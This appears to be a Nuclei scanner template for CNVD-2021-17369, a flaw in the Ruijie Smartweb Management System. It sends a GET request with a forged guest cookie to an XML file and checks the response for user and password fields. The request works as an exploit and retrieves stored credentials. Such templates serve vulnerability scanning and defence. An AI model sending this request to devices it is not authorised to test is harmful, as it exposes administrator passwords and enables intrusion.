id: ruijie-smartweb-disclosure

info:
  name: Ruijie Smartweb Management System Password Information Disclosure
  author: pikpikcu
  severity: medium
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
  tags: ruijie,disclosure

requests:
  - method: GET
    path:
      - "{{BaseURL}}/web/xml/webuser-auth.xml"
    headers:
      Cookie: login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "<userauth>"
          - "<password>"
        part: body
        condition: and

      - type: status
        status:
          - 200